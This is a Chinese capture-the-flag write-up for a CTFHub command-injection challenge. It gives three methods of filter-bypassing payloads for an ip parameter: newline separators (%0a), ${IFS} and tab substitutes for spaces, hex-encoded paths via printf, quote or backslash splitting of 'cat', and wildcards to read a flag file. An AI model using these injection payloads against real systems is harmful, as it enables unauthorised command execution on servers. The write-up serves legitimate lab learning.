CTFHUB-技能树-Web题-RCE(远程代码执行)-远程包含-命令注入-综合过滤练习
根据题目提示
以及代码
法1:
分隔符可以使用%0a
代替
若直接使用文本框上传命令会导致字符被转义,直接访问URL
payload:
/?ip=127.0.0.1%0als
也就是=> 127.0.0.1;ls
接下来要访问flag_is_here
,需要绕过空格过滤、flag文字过滤并且显示文件夹的内容
(space)` => `${IFS}
对于文件夹的内容,使用$(printf "路径")
代替路径
对于路径文字过滤,转换成16进制字符串
访问URL
?ip=127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")
上这段话的意思就是:ip=127.0.0.1;ls flag_is_here
接着绕过cat,使用16进制字符串(HEX)访问文件即可
cat => ca''t
/ `ca""t
/?ip=127.0.0.1%0aca''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x39\x34\x33\x32\x34\x33\x38\x33\x31\x35\x30\x32\x30\x2e\x70\x68\x70")
=> 127.0.0.1;c'a't flag_is_here/flag_11510361119666.php
法2:
用more替换cat
用%0a去替换;
空格用${IFS}替换
flag可以用正则替换f***
flag可以用TAB加*替换,不过要用url编码TAB,表示为%09加*
输入命令
127.0.0.1%0als
使用%0a代替 ;
使用正则表达式代替flag,使用{IFS}代替空格,此处注意传cd到文件夹下以后,要使用ls将文件加下的文件列出来。最后输入命令
127.0.0.1%0acd${IFS}f***_is_here
${IFS}%0als
输入命令
ip=127.0.0.1%0acd${IFS}f***_is_here
${IFS}%0amore
${IFS}f***_5222980724357.php
,获取到flag
url表
%0a 代替 换行 , %09 代替 TAB键 (因为flag被过滤了,所以我们通过TAB来补全flag_is_here)
%5c 代替 \(用 \ 来分隔开 cat ,因为 cat 也被过滤了qwq)
法3:
查看flag_is_here文件夹下的文件:
?ip=127.0.0.1%0als*#*
?ip127.0.0.1%0als%09*is_here
?ip127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_73122415714959.php
`
?ip127.0.0.1%0als%09*is_here
?ip127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_73122415714959.php